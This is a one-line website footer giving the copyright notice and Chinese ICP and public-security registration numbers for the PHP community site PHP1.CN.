Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有